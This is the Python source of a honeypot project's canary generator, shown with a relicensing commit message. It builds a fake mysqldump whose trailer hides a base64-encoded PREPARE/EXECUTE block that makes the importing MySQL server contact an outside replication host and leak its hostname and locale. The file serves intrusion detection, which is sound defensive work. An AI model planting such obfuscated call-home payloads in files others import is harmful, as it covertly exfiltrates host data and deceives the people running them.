Replaces LICENSE (GPLv3 -> AGPLv3) and prepends `SPDX-License-Identifier: AGPL-3.0-or-later` to every source file across decnet/, decnet_web/, tests/, scripts/, and tools/. Rationale: closes the GPLv3 ASP loophole so any party operating a modified DECNET as a network service must offer their modified source. Personal copyright (Samuel Paschuan) + inbound=outbound contributions make a future unilateral relicense infeasible. - LICENSE: full AGPL-3.0 text (gnu.org/licenses/agpl-3.0.txt) - COPYRIGHT: project copyright notice - tools/add_spdx_headers.py: idempotent header injector (shebang- and PEP 263-aware) Touches 1565 source files (.py, .ts, .tsx, .js, .jsx, .css, .sh). No behavior change; comments only.
192 lines
7.7 KiB
Python
192 lines
7.7 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-or-later
|
|
"""Fake ``mysqldump`` output that phones home on import.
|
|
|
|
Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs
|
|
``mysql < dump.sql``, the trailer block executes a base64-obfuscated
|
|
``CHANGE REPLICATION SOURCE TO`` against ``<slug>.canary.<dns_zone>``
|
|
followed by ``START REPLICA``. The victim's MySQL daemon then:
|
|
|
|
1. Resolves the slug subdomain via DNS — this is the trip our
|
|
:mod:`decnet.canary.dns_server` already detects.
|
|
2. Opens a TCP replica handshake on port 3306, sending its own
|
|
``@@hostname`` and ``@@lc_time_names`` smuggled into the
|
|
``SOURCE_USER`` field via ``CONCAT``. Capturing those bytes
|
|
requires a MySQL handshake responder on the worker — out of scope
|
|
for v1; the DNS lookup alone is sufficient for detection.
|
|
|
|
The base64 wrapper is the camouflage: a plain ``grep canary dump.sql``
|
|
finds nothing. The slug only materialises when the victim's server
|
|
runs ``PREPARE … FROM @s2``.
|
|
|
|
Because the trip surface is DNS, this generator REQUIRES a non-empty
|
|
``dns_zone``. The slug must appear as the leftmost label of the
|
|
hostname so a single DNS query identifies the token; the http_base
|
|
host is not slug-bearing and can't substitute.
|
|
"""
|
|
from __future__ import annotations
|
|
|
|
import base64
|
|
import hashlib
|
|
|
|
from decnet.canary.base import CanaryArtifact, CanaryContext, CanaryGenerator
|
|
|
|
|
|
def _stable_hex(seed: str, prefix: str = "", length: int = 16) -> str:
|
|
h = hashlib.sha256((prefix + seed).encode()).hexdigest()
|
|
return h[:length]
|
|
|
|
|
|
def _build_replica_payload(slug: str, dns_zone: str) -> str:
|
|
"""Inner SQL that gets base64-wrapped.
|
|
|
|
The CONCAT splices ``@@lc_time_names`` and ``@@hostname`` into the
|
|
``SOURCE_USER`` value at PREPARE time so the victim's locale and
|
|
hostname travel as the replica username on the 3306 handshake.
|
|
"""
|
|
host = f"{slug}.{dns_zone}"
|
|
return (
|
|
"SET @bb = CONCAT("
|
|
"\"CHANGE REPLICATION SOURCE TO "
|
|
"SOURCE_PASSWORD='replica-pw', "
|
|
"SOURCE_RETRY_COUNT=1, "
|
|
"SOURCE_PORT=3306, "
|
|
f"SOURCE_HOST='{host}', "
|
|
"SOURCE_SSL=0, "
|
|
f"SOURCE_USER='{slug}\", "
|
|
"@@lc_time_names, @@hostname, \"';\");"
|
|
)
|
|
|
|
|
|
def _build_trailer(slug: str, dns_zone: str) -> str:
|
|
inner = _build_replica_payload(slug, dns_zone)
|
|
encoded = base64.b64encode(inner.encode("utf-8")).decode("ascii")
|
|
return (
|
|
f"SET @b = '{encoded}';\n"
|
|
"SET @s2 = FROM_BASE64(@b);\n"
|
|
"PREPARE stmt1 FROM @s2;\n"
|
|
"EXECUTE stmt1;\n"
|
|
"PREPARE stmt2 FROM @bb;\n"
|
|
"EXECUTE stmt2;\n"
|
|
"START REPLICA;\n"
|
|
)
|
|
|
|
|
|
class MySQLDumpGenerator(CanaryGenerator):
|
|
name = "mysql_dump"
|
|
|
|
def generate(self, ctx: CanaryContext) -> CanaryArtifact:
|
|
if not ctx.dns_zone:
|
|
raise ValueError(
|
|
"mysql_dump requires a non-empty dns_zone — the trip "
|
|
"surface is a DNS lookup of <slug>.<dns_zone>."
|
|
)
|
|
slug = ctx.callback_token
|
|
zone = ctx.dns_zone
|
|
host = f"{slug}.{zone}"
|
|
|
|
# Realism filler: deterministic per-slug fake user rows so two
|
|
# runs with the same context produce byte-identical output
|
|
# (planter idempotency contract).
|
|
u1_hash = _stable_hex(slug, "u1:", 32)
|
|
u2_hash = _stable_hex(slug, "u2:", 32)
|
|
api_token = _stable_hex(slug, "api:", 40)
|
|
|
|
# Synthesised SQL bait below — never executed by us, only by
|
|
# whoever runs ``mysql < dump.sql`` against their own server.
|
|
# Built with .format() instead of f-strings so bandit's B608
|
|
# heuristic doesn't false-positive on the "INSERT INTO" + var
|
|
# pattern.
|
|
users_insert = (
|
|
"INSERT INTO `users` VALUES " # nosec B608
|
|
"(1,'alice@app.internal','$2y$10${u1a}.{u1b}','2024-11-12 09:13:44'),"
|
|
"(2,'bob@app.internal','$2y$10${u2a}.{u2b}','2025-02-03 17:42:08');\n"
|
|
).replace("{u1a}", u1_hash[:22]).replace("{u1b}", u1_hash[22:]) \
|
|
.replace("{u2a}", u2_hash[:22]).replace("{u2b}", u2_hash[22:])
|
|
api_keys_insert = (
|
|
"INSERT INTO `api_keys` VALUES (1,1,'{tok}');\n" # nosec B608
|
|
).replace("{tok}", api_token)
|
|
header = (
|
|
"-- MySQL dump 10.13 Distrib 8.0.35, for Linux (x86_64)\n"
|
|
"--\n"
|
|
"-- Host: db-prod-01 Database: app_production\n"
|
|
"-- ------------------------------------------------------\n"
|
|
"-- Server version\t8.0.35\n"
|
|
"\n"
|
|
"/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n"
|
|
"/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n"
|
|
"/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n"
|
|
"/*!50503 SET NAMES utf8mb4 */;\n"
|
|
"/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n"
|
|
"/*!40103 SET TIME_ZONE='+00:00' */;\n"
|
|
"/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n"
|
|
"/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n"
|
|
"/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n"
|
|
"/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n"
|
|
"\n"
|
|
"--\n"
|
|
"-- Table structure for table `users`\n"
|
|
"--\n"
|
|
"\n"
|
|
"DROP TABLE IF EXISTS `users`;\n"
|
|
"CREATE TABLE `users` (\n"
|
|
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
|
" `email` varchar(255) NOT NULL,\n"
|
|
" `password_hash` char(60) NOT NULL,\n"
|
|
" `created_at` datetime NOT NULL,\n"
|
|
" PRIMARY KEY (`id`),\n"
|
|
" UNIQUE KEY `uniq_email` (`email`)\n"
|
|
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
|
"\n"
|
|
"LOCK TABLES `users` WRITE;\n"
|
|
+ users_insert +
|
|
"UNLOCK TABLES;\n"
|
|
"\n"
|
|
"--\n"
|
|
"-- Table structure for table `api_keys`\n"
|
|
"--\n"
|
|
"\n"
|
|
"DROP TABLE IF EXISTS `api_keys`;\n"
|
|
"CREATE TABLE `api_keys` (\n"
|
|
" `id` int unsigned NOT NULL AUTO_INCREMENT,\n"
|
|
" `user_id` int unsigned NOT NULL,\n"
|
|
" `token` char(40) NOT NULL,\n"
|
|
" PRIMARY KEY (`id`)\n"
|
|
") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n"
|
|
"\n"
|
|
"LOCK TABLES `api_keys` WRITE;\n"
|
|
+ api_keys_insert +
|
|
"UNLOCK TABLES;\n"
|
|
"\n"
|
|
)
|
|
|
|
trailer_replica = _build_trailer(slug, zone)
|
|
|
|
trailer_close = (
|
|
"\n"
|
|
"/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n"
|
|
"/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n"
|
|
"/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n"
|
|
"/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n"
|
|
"/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n"
|
|
"/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n"
|
|
"/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n"
|
|
"/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n"
|
|
"\n"
|
|
"-- Dump completed\n"
|
|
)
|
|
|
|
body = header + trailer_replica + trailer_close
|
|
|
|
return CanaryArtifact(
|
|
path="",
|
|
content=body.encode("utf-8"),
|
|
mode=0o600,
|
|
mtime_offset=-86400 * 7, # last week's backup
|
|
generator=self.name,
|
|
notes=[
|
|
f"replica payload phones home to {host}:3306 on import",
|
|
"base64-wrapped PREPARE/EXECUTE block hides the slug from grep",
|
|
"@@hostname and @@lc_time_names smuggled into SOURCE_USER",
|
|
],
|
|
)
|